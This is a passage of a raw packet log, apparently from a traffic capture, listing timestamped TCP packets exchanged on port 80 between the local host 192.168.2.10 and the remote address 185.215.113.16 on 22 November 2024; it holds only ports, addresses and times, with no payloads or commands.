Nov 22, 2024 17:09:13.764136076 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.764167070 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.764823914 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.764873981 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.764930010 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.764966965 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.765676022 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.765717983 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.765860081 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.765892029 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.766570091 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.766613007 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.766658068 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.766690016 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.767404079 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.767440081 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.767514944 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.767546892 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.768270016 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.768306971 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.768349886 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.768392086 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.769187927 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.769238949 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.769448996 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.769666910 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.770056009 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.770113945 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.770148993 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.770181894 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.770925999 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.770962954 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.771008015 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.771230936 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.771754026 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.771794081 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.771928072 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.771986961 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.772610903 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.772691965 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.772711992 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.772747040 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.773487091 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.773535013 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.773611069 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.773700953 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.774353981 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.774405956 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.774456978 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.774490118 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.775285006 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.775336027 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.775407076 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.775439024 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.776098013 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.776170015 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.776209116 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.776309013 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.776983023 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.777055979 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.777101040 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.777327061 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.777827978 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.777870893 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.778027058 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.778076887 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.778666973 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.778723955 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.778732061 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.778769016 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.779583931 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.779623985 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.779695034 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.779730082 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.780447006 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.780483961 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.780538082 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.780567884 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.781425953 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.781471968 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.781558037 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.781660080 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.782236099 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.782282114 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.782421112 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.782490969 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.783051014 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.783103943 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.919091940 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.919116974 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.919147015 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.919186115 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.919197083 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.919235945 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.919292927 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.919332981 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.920078039 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.920128107 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.920173883 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.920305014 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.920955896 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.921034098 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.921164989 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.921286106 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.921804905 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.921850920 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.921960115 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.921999931 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.922643900 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.922704935 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.922736883 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.922827005 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.923698902 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.923772097 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.923866987 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.924005985 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.924447060 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.924559116 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.924614906 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.925287008 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.925308943 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.925343990 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.925359011 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.926201105 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.926253080 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.926318884 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.926453114 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.926995993 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.927056074 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.927097082 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.927222967 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.927936077 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.927998066 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.928036928 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.928071976 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.928769112 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.928808928 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.928869009 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.928908110 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.929644108 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.929697037 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.929713964 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.929749966 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.930535078 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.930593967 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.930617094 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.930670023 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.931379080 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.931425095 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.931648016 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.931730986 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.932248116 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.932295084 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.932374954 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.932415962 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.933094025 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.933135033 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.933197975 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.933233023 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.933945894 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.934000015 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.934063911 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.934103966 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.934803009 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.934850931 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.934951067 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.934992075 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.935683012 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.935744047 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.935781002 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.935813904 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.936570883 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.936631918 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.936706066 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.936830997 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.937417984 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.937465906 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.937535048 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.937666893 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.938283920 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.938354969 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.938364029 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.938401937 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.939188957 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.939227104 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.939304113 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.939363956 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.940032959 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.940076113 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.940140963 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.940179110 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.940900087 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.940943956 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.940990925 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.941029072 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.941775084 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.941823959 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.941898108 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.941997051 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.942658901 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.942713022 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.942717075 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.942756891 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.943541050 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.943594933 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.943630934 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.943665028 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.944422007 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.944464922 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.944505930 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.944596052 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.945252895 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.945327044 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.945364952 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.945456982 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.946113110 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.946204901 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.946209908 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.946294069 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.946970940 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.947016954 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.947088003 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.947139978 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.947854042 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.947937965 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.948008060 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.948162079 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.948715925 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.948767900 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.948784113 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.948820114 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.949649096 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.949712038 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.949749947 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.949827909 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.950524092 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.950582981 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.950602055 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.950638056 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.951342106 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.951394081 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.951426029 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.951467037 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.952183008 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.952251911 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.952267885 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.952332973 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.953057051 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.953113079 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.953180075 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.953229904 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.953931093 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.953975916 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.954027891 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.954066992 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.954829931 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.954879045 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.955044031 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.955085993 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.955703974 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.955749035 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.955884933 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.955929995 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.956590891 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.956685066 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.956687927 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.956722975 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.957468033 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.957581043 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.957607985 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.957623005 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.958318949 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.958365917 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.958395958 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.958446026 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.959112883 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.959163904 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.959235907 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.959333897 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.960097075 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.960184097 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.960207939 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.960230112 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.960932970 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.960989952 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.961016893 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.961270094 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.961787939 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.961868048 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.961895943 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.961914062 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.962637901 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.962686062 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.962714911 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.962749958 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.963805914 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.963859081 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.963860035 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.963896990 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:13.964529037 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:13.964581966 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.122487068 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.122586966 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.122606993 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.122656107 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.122724056 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.122782946 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.122812033 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.122999907 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.123622894 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.123877048 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.124048948 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.124095917 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.124108076 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.124152899 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.125263929 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.125314951 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.125554085 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.125605106 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.126121998 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.126194000 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.126243114 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.126739025 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.126777887 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.126806021 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.126862049 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.127414942 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.127463102 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.127510071 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.127547026 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.128268003 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.128350973 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.128422976 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.128479958 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.129234076 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.129352093 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.129380941 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.129417896 CET	49828	80	192.168.2.10	185.215.113.16
Nov 22, 2024 17:09:14.129988909 CET	80	49828	185.215.113.16	192.168.2.10
Nov 22, 2024 17:09:14.130067110 CET	80	49828	185.215.113.16	192.168.2.10
